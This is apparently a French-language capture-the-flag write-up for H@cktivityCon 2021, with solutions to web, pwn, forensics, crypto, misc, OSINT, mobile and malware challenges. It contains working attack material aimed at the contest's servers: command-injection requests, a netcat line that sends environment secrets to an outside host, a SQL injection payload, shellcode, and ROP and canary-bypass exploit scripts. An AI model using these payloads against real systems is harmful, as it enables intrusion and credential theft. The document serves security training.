owned this note
owned this note
Published
Linked with GitHub
---
tags: CTF
---
# H@cktivityCon 2021 CTF
site : https://ctf.hacktivitycon.com/
flag format : `flag\{[0-9a-f]{32}\}`
## web
### Swaggy
Il faut choisir l'api expérimentale car l'autre est down, s'authentifier avec le login et mot de passe admin:admin, et utiliser la fonctionnalité Try it out pour récupérer le flag
### confidentiality (n°1 command injection)
Simple chall d'injection de commandes ici
```
POST / HTTP/1.1
Host: challenge.ctf.games:31265
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge.ctf.games:31265
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge.ctf.games:31265/
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
file=/etc/host ; ls
```
```
<pre>
flag.txt
main.py
requirements.txt
templates
</pre>
```
```
file=/etc/host ; cat flag.txt
```
```
<pre>
flag{e56abbce7b83d62dac05e59fb1e81c68}
</pre>
```
### Integrity (n°2 command injection)
Même challenge que juste avant sauf que tous les caractères sont filtrés.
Ex:
```
Sorry! The character ';' is not allowed!
```
Enfin presque, on peut quand même faire des carriage return (\n ou %0A en url encoded)
et donc notre commande mise a la ligne sera executée.
```
POST / HTTP/1.1
Host: challenge.ctf.games:30043
Content-Length: 22
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge.ctf.games:30043
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge.ctf.games:30043/
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
file=/etc/hosts %0Als
```
```
[...]
<pre>
8f7a5367f3f5a0172149ec24619b75fc027235de6d59e0b2fa87287a10d279ef /etc/hosts
flag.txt
main.py
requirements.txt
templates
</pre>
[...]
```
```
file=/etc/hosts %0Acat flag.txt
```
```
[...]
<pre>
5a5d3fae93a05b3f1470b89da5ede6a015490b5513add0b5c666e55fddbe8bf9 /etc/hosts
flag{62b8b3cb5b8c6803bf3dc585b1b5141d}
</pre>
[...]
```
### availability (n°3 command injection)
On réutilise la même techinque que pour le chall d'avant c-a-d le carriage return pour exec une commande, sauf que cette fois ci, on pas l'output
```http
POST / HTTP/1.1
Host: challenge.ctf.games:31731
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge.ctf.games:31731
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge.ctf.games:31731/
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
host=82.65.167.141 %0A grep 0 flag.txt
```
Mais on a des canaries values
```
Reponse:
Success! Looks like pinging the host '82.65.167.141
grep 0 flag.txt' worked!
```
ou
```
Failure! The host '82.65.167.141
grep 3 flag.txt' was not able to be pinged.
```
Et donc, en utilisant grep, on va pouvoir trouver les patterns du md5 du flag et quand on aura un pattern de 32 caractères on sait qu'on aura le flag
```python=
#! /usr/bin/env python3
#-- all rights: @fey --#
#-- py-version: 3.* --#
import requests as rq
dic = ["a","b", "c","d","f","1","2","4","5","6","7", "8", "9", "0"]
patterns = []
host = "challenge.ctf.games:31731"
def send_req(pat):
data={"host":"82.65.167.141 %s grep %s flag.txt" % ("\n",pat)}
resp = rq.post(url="http://"+host,data=data)
return "worked!" in resp.text
def rec(pattern):
for i in dic:
if send_req(pattern + i):
patterns.append(pattern + i)
print("found:", pattern + i)
rec(pattern + i)
if __name__ == "__main__":
rec("")
print(patterns)
```
```
┌[macarthur🍏 MacBook-Air-de-arthur] [146]
└[/Users/MacArthur/pentest_ctfs/ctf/hacktivitycon/web/availability] ⌲ ⌲ ⌲ ./exp.py
found: a
found: a0
found: a08
found: a088
[...]
found: a08816027174c1
found: a08816027174c14
[...]
found: c11d098dd25a08816027174c14f7bf6
found: c11d098dd25a08816027174c14f7bf60
```
flag: flag{c11d098dd25a08816027174c14f7bf60}
### All Baked Up
Lorsque l'on regarde les requetes on s'apercoit qu'une requete est faite sur un endpoint graphql
J'ai utilisé graphiql pour interagir avec le graphQL du challenge de manière plus simple et plus intuitive
on peut envoyer la payload suivante pour avoir le schema de graphQL
```graphql=
{
__schema {
types {
name
}
}
}
```
On a la réponse :
```graphql=
{
"data": {
"__schema": {
"types": [
{
"name": "User"
},
{
"name": "__Field"
},
[...]
{
"name": "Auth"
},
{
"name": "__Schema"
}
]
}
}
}
```
injections sql dans la variable name
```http=
POST /graphql HTTP/1.1
Host: challenge.ctf.games:31710
Content-Length: 290
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
content-type: application/json
Origin: http://challenge.ctf.games:31710
Referer: http://challenge.ctf.games:31710/post/Grandma's%20Yeast%20Rolls
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: spiralCI=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyaWQiOi0xfQ.pCIT8y2m4E3nC-rpos3BvorxYZqIDpNNdZroYvpzMYI
Connection: close
{"operationName":"UserQuery","variables":{"name":"' Union select 1,2,3,password,5,6 from users --"},"query":"query UserQuery($name: String!) {\n post(name: $name) {\n id\n name\n image\n content\n author {\n username\n __typename\n }\n __typename\n }\n}\n"}
```
dans la réponse il y a le mot de passe de l'utilisateur cogon4tor : n8bboB!3%vDwiASVgKhv
on peut alors s'authentifier, récupérer le token JWT et lancer la commande flag
flag : flag{9d26b6e4a765ecd87fe03a1494c22236}
### Titanic
il y a une page qui prend une capture d'ecran lorsqu'on envoie une url. On envoie l'url server-status, on a donc le mot depasse et le username de l'admin, on se connecte et on a le flag
flag : flag{88269d5ef52a5ee961ea6449e1b610a9}
### OPA Secret
On a accès au github du projet, https://github.com/congon4tor/opa_secrets
dans app.py, cette partie de code attire notre attention
```python=
@app.route("/updateSettings", methods=["POST"])
def updateSettings():
url = request.form.get("url")
if not url:
return redirect("settings?error=Missing parameters")
if not session.get("id", None):
return redirect("/signin?error=Please sign in")
user_id = session.get("id")
user = get_user(user_id)
if not user:
return redirect("/signin?error=Invalid session")
if (
";" in url
or "`" in url
or "$" in url
or "(" in url
or "|" in url
or "&" in url
or "<" in url
or ">" in url
):
return redirect("settings?error=Invalid character")
cmd = f"curl --request GET {url} --output ./static/images/{user['id']} --proto =http,https"
status = os.system(cmd)
if status != 0:
return redirect("settings?error=Error fetching the image")
```
On a certainement une injection de commande sur l'endpoint /updateSettings
Il y'a quelques filtres mais pas de protection contre les retours a la ligne
on peut donc envoyer
```
url=http://osef%0Asleep 22%0Acurl http://osef
```
Et on voit bien que le server mais du temps a repondre donc notre injection de command est avérée
le flag est dans la variable d'environnement alors en je vais executer env a travers netcat pour recuperer l'output
```
url=http://osef%0Anc mrfey.fr 8888 -e env %0Acurl http://osef
```
```nc -lvp 8888
listening on [any] 8888 ...
connect to [192.168.1.180] from 12.220.198.104.bc.googleusercontent.com [104.198.220.12] 38431
KUBERNETES_PORT=tcp://10.116.0.1:443
KUBERNETES_SERVICE_PORT=443
UWSGI_ORIGINAL_PROC_NAME=uwsgi
HOSTNAME=opa-secrets-cfd88c92f5d80ebc-dfbbdc7b4-52xq2
PYTHON_PIP_VERSION=21.0.1
SHLVL=1
HOME=/root
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/4be3fe44ad9dedc028629ed1497052d65d281b8e/get-pip.py
AMDIN_PASSWORD=cegJBSPsR+c7UtCcH6fArJ6Mp8mwCkaGnT71QxgVijo
KUBERNETES_PORT_443_TCP_ADDR=10.116.0.1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
LANG=C.UTF-8
PYTHON_VERSION=3.8.7
KUBERNETES_PORT_443_TCP=tcp://10.116.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_HOST=10.116.0.1
PWD=/usr/src/app
PYTHON_GET_PIP_SHA256=8006625804f55e1bd99ad4214fd07082fee27a1c35945648a58f9087a714e9d4
COOKIE_SECRET=Mp8egJBSPsR+cxgViGnTcfArjo7UtCcH6mwCkaJ671Q
UWSGI_RELOADS=0
FLAG=flag{589882d62d1c899d8b85db1af2076b39}
```
Done
## pwn
### Shellcoded
```c=
#include <stdint.h>
#include <stdio.h>
int main(void)
{
const uint8_t sc[29] = { 0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52,
0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x73, 0x68, 0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0,
0x49, 0x89, 0xd2, 0x0f, 0x05 };
uint8_t buffer[29];
for (uint8_t i = 0; i < 29; ++i)
{
char v = (i & 1) == 0 ? 0x1 : -1;
buffer[i] = sc[i] - i * v;
}
for (uint8_t i = 0; i < 29; ++i)
{
printf("\\x%02x", buffer[i]);
}
}
```
```python=
from pwn import *
context.binary = elf = ELF("./shellcoded")
shellcode = b"\x6a\x43\x56\x01\xc0\x4d\x93\x59\x40\xc8\x25\x6d\x5d\x7b\x21\x3e\x63\x79\x45\x67\x4a\x5e\x73\xe7\x31\xa2\xb8\x2a\xe9"
#io = process("./shellcoded")
"""
io = gdb.debug("./shellcoded", '''
break main
break *(main+273)
''')
"""
io = remote("challenge.ctf.games", 32383)
io.sendline(shellcode)
io.interactive()
```
### The Library
```python=
#!/bin/python3
from pwn import *
def convert_address(n):
number = 0
for i in range(len(n)):
number |= n[i] << (8 * i)
return (number >> 8) & 0x7FFFFFFFFFFF
context.binary = elf = ELF("./the_library")
libc = ELF("libc-2.31.so")
# io = process("./the_library")
io = remote("challenge.ctf.games", 31125)
str=0x004020e9 + 0x4
ropchain=p64(0x0000000000401493) # pop rdi
ropchain+=p64(0x403fc8) # got entry for gets
ropchain+=p64(elf.plt["puts"]) # use to leak the address of gets
ropchain+=p64(0x00000000004012ad) # go back to main
payload = b"A" * 552 + ropchain
io.sendline(payload)
# skip the lines
for i in range(13):
r = io.recvline()
sleep(1) # Without the sleep, it does not work
leak_address = io.recvline()
l = [8]
for i in range(len(leak_address)):
l.append(leak_address[i])
gets_address = convert_address(l)
base_libc = gets_address - libc.symbols["gets"]
print("libc_base: ", hex(base_libc))
gadget_addr = base_libc + 0xe6c7e
# gadget needs to have r15 and r12 equals to 0x0
ropchain=p64(0x000000000040148c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
ropchain+=p64(0x0)
ropchain+=p64(0x0)
ropchain+=p64(0x0)
ropchain+=p64(0x0)
ropchain+=p64(gadget_addr)
payload = b"A" * 552 + ropchain
io.sendline(payload)
io.interactive()
```
### retcheck
```python=
#!/bin/python3
from pwn import *
REMOTE = True
if REMOTE:
p = remote('challenge.ctf.games',31463)
else:
elf = ELF("./retcheck")
gs = '''
#b *0x0000000000401446
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
p = remote('challenge.ctf.games',31463)
OFFSET = 408
canary = 0x401465
win = 0x4012e9
payload = b'A'*OFFSET + p64(canary) + p64(0x1) + p64(win)
print(p.recvuntil(b"enabled !!\n"))
p.sendline(payload)
p.interactive()
```
## warmup
### 2ez
je strings le fichier, je fois la chaine de caractere JFIF, je remplace les 4 premiers octets `2EZ` par `FF D8 FF E1`
### Butter overflow
On voit un buffer dans le code source de taille 512, en prenant un nombre bien supérieur a celui ci on peut récupérer le flag
NB: J'ai pas vraiment compris pourquoi fallait plus que 513 mais bon ça a marché
### Target Practice
Il faut ouvrir le gif frame par frame et scanner avec une app qui peut lire les Maxicode, une des frames contient le flag
## forensics
### Excellent
Difficulty: medium
On a un fichier .zip qui dézippé donne un fichier "excellent.bin". J'utilise "volatility" pour le forensic. Le profile de l'image est "Win10x64_19041" et maitenant je liste les processus et je trouve :
```
************************************************************************
LibreOfficePor pid: 1036
Command line : LibreOfficePortablePrevious.exe -calc "C:\Users\congon4tor\Desktop\flag.ods"
************************************************************************
soffice.exe pid: 5332
Command line : "C:\Users\congon4tor\Downloads\LibreOfficePortablePrevious\App\libreoffice\program\soffice.exe" -calc "C:\Users\congon4tor\Desktop\flag.ods"
************************************************************************
```
Donc on peut dump le fichier "flag.ods" dans un dossier "test".
```
vol.py -f image.bin --profile=Win10x64_19041 dumpfiles -i -n -D test --regex=flag
```
On récupère le fichier qui est une feuille de calcul office et on peut l'ouvrir pour voir le flag. (office demande de réparer le ficher donc j'avais dis oui).
flag: flag{4b02ee4e7b62139152e8d0d4373a7c3d}
## stegano
## reverse
## crypto
### N1TP
La clef du xor est réutilisée.
flag{9276cdb76a3dd6b1f523209cd9c0a11b}
### Hexahedron
On repère un chiffrement RSA (nom des variables conventionnels n e et c), avec un exposant égal a 3. On peut donc retrouver le message original en faisant une racine cubique du message chiffré c.
NB: je ne sais pas pourquoi ça ne marchait pas avec l'opérateur ** en python (surement a cause du mélange float / int), mais on peut trouver le résultat avec cette fonction https://riptutorial.com/python/example/8751/computing-large-integer-roots
## misc
### Bad Words
En utilisant la commande find entre guillemets on peut trouver le chemin relatif du flag, et comme la commande cat n'est pas disponible j'ai pu trouver un moyen de lire un fichier comme une commande en faisant $(<chemindufichier). On a ainsi récupéré le flag.
NB: ne marche pas si le flag contient des espaces.
### Redlike
On a un accés ssh. En faisant du scan de base on voit un processus "redis-server" lancé par root en local sur le port 6379. Avec SSH je fais un transfert de ce port vers ma machine. Avec un scan nmap je vois que la version de ce Redis est exploitable et qu'on peut se connecter sans authentification. Je regarde alors ce tuto pour upload ma clé ssh dans "/root/.ssh" --> "https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh" et je me connecte ensuite à root avec ssh et je récupère le flag.
### Race car
On a un accès ssh, utilise sftp pour fouiller le serveur, on trouve un ficher dans le dossier .ssh qui kill la connection, on upload un fichier vide à la place, on peut alors ssh sur la machine, on a toutes les perms de sudo, on peut alors cat /root/flag.txt
flag : flag{f3deae2684d2bbec63d088374502a339}
## osint
### Jed Sheeran
Avec une simple recherche du nom sur google on tombe sur un compte soundcloud, sa seule piste postée contient le flag en description
### Mike Shallot
Une piste? :https://pastebin.com/u/mikeshallot
-> http://strongerw2ise74v3duebgsvug4mehyhlpa7f6kfwnas7zofs3kov7yd.onion/
mais les identifiants : pduplowzp/nndw79 , ne fonctionne pas
j'ai créer un compte si ça intéresse qlq : testlandia:johncena123
il apparait sur ce site : http://kiosk2.co.uk/f16-home-construction/
le site est vraiment bizzare
Update: pduplowzp/nndw79 était en fait l'adresse de la paste, il suffisait de l'ajouter après l'adresse en .onion pour trouver le flag.
flag{6e57a4c0be1656f9bc873647f49b9cdc}
### Don T MASON
url : https://www.wetzelchronicle.com/opinion/columns-by-chuck-clegg/2017/07/13/the-great-elephant-race/
## Mobile
### To do
Il suffisait de décompresser l'apk, et de trouver le fichier db dans le dossier assets. Si on l'ouvre avec sqlite on peut trouver le flag encodé en base64 directement.
### Reactor
J'ai lancé l'application, j'ai testé différentes combinaisons et j'ai vu que chaque caractere du nombre influait sur 1 caractere du flag. j'ai tésté quelques codes et j'ai vu que lorsqu'il y avait un 9 en deuxieme caractère, on avait une acolade fermée en dernier caractère du flag et ce, peu importe les autres caractères donc j'ai teste les differentes possibilites pour avoir `flag{` et c'est tout
flag : flag{cfbb4c6ec59ce316e8d7644ac4c70a12}
## Malware
### phonetic
on a un fichier php, on le deobfusque un peu, on trouve un deuxieme fichier php chiffré par un xor. En le décodant on trouve deux chaines encodées en base64. On les decode et trouve un programme perl qui uudecode une string, on uudecode la string et le flag
flag : flag{9b5c4313d12958354be6284fcd63dd26}
### DotBat
on deobfusque le fichier batch, on trouve un "certificat", on le decode et on a un fichier PE, on le reverse, il faut déchiffrer un string chiffré par AES, on trouve alors le flag
flag : flag{3a75349c5d614587898c785d88da3582}
Sign in with Wallet
